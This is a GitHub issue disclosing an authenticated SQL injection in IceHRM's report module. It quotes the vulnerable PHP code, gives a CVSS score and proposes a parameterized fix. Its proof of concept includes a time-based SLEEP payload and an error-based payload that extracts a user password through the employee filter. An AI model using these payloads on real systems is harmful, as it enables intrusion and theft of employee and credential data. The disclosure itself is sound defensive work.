Skip to content

Authenticated SQL Injection via Employee Filter in IceHRM Reports #376

Description

@geo-chen

Summary

IceHRM's report generation module passes JSON-decoded user input directly into SQL IN clauses via implode() without any parameterization or integer validation. Any authenticated user (including the "Employee" role) can exploit this through the UserReport endpoint to exfiltrate database contents.

Affected Components

  • Repository: gamonoid/icehrm
  • Commit: e75ed7e
  • Primary file: core/src/Reports/User/Reports/EmployeeAttendanceReport.php, line 37
  • Also affected (same pattern): Reports/User/Reports/OvertimeReport.php:21, Reports/Admin/Reports/EmployeeAttendanceReport.php:37, Reports/Admin/Reports/EmployeeLeavesReport.php:56-66, Reports/Admin/Reports/ExpenseReport.php:44, and others
  • Entry point: POST /core/service.php with a=add, t=UserReport

Vulnerability Details

CWE-89: Improper Neutralization of Special Elements used in an SQL Command
Type: Authenticated SQL Injection
CVSS:3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N — 8.8 (High)

Vulnerable Code

core/src/Reports/User/Reports/EmployeeAttendanceReport.php:28-43:

if (!empty($request['employee'])) {
    $employeeList = json_decode($request['employee'], true);
}
// ...
if (!empty($employeeList)) {
    $query = "where employee in (".implode(",", $employeeList)
        .") and in_time >= ? and out_time <= ? order by in_time desc;";
    $params = array(
        $request['date_start']." 00:00:00",
        $request['date_end']." 23:59:59",
    );
}

$employeeList values are directly interpolated into the IN clause with no integer casting or validation. The resulting query is executed via ADODB's Execute().

Auth Level Required

service.php:25-33 allows any user whose user_level is in ['Admin','Manager','Employee','Restricted Admin','Restricted Manager','Restricted Employee','Anonymous']. Employee-level access suffices.

The UserReport path (line 29 of ReportHandler.php) uses classes from Reports\User\Reports\ which include EmployeeAttendanceReport.

Proof-of-Concept

Time-based blind SQL injection:

POST /core/service.php
a=add&t=UserReport&id=<valid_user_report_id>&employee=["1 AND SLEEP(5) -- "]&date_start=2024-01-01&date_end=2024-12-31

Resulting SQL:

WHERE employee in (1 AND SLEEP(5) -- ) AND in_time >= ? AND out_time <= ?

Error-based exfiltration (MySQL):

employee=["1 AND extractvalue(1,concat(0x7e,(SELECT password FROM Users LIMIT 1)))-- "]

Impact

  • Full read access to all database tables (users, employees, salaries, attendance, documents).
  • Write access if the DB user has INSERT/UPDATE privileges.
  • Data exfiltration via time-based or error-based blind injection.

Remediation

Cast all items in $employeeList to integers before interpolating:

$safeIds = array_map('intval', $employeeList);
$placeholders = implode(',', array_fill(0, count($safeIds), '?'));
$query = "where employee in ($placeholders) and in_time >= ? and out_time <= ?";
$params = array_merge($safeIds, [$request['date_start']." 00:00:00", $request['date_end']." 23:59:59"]);

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions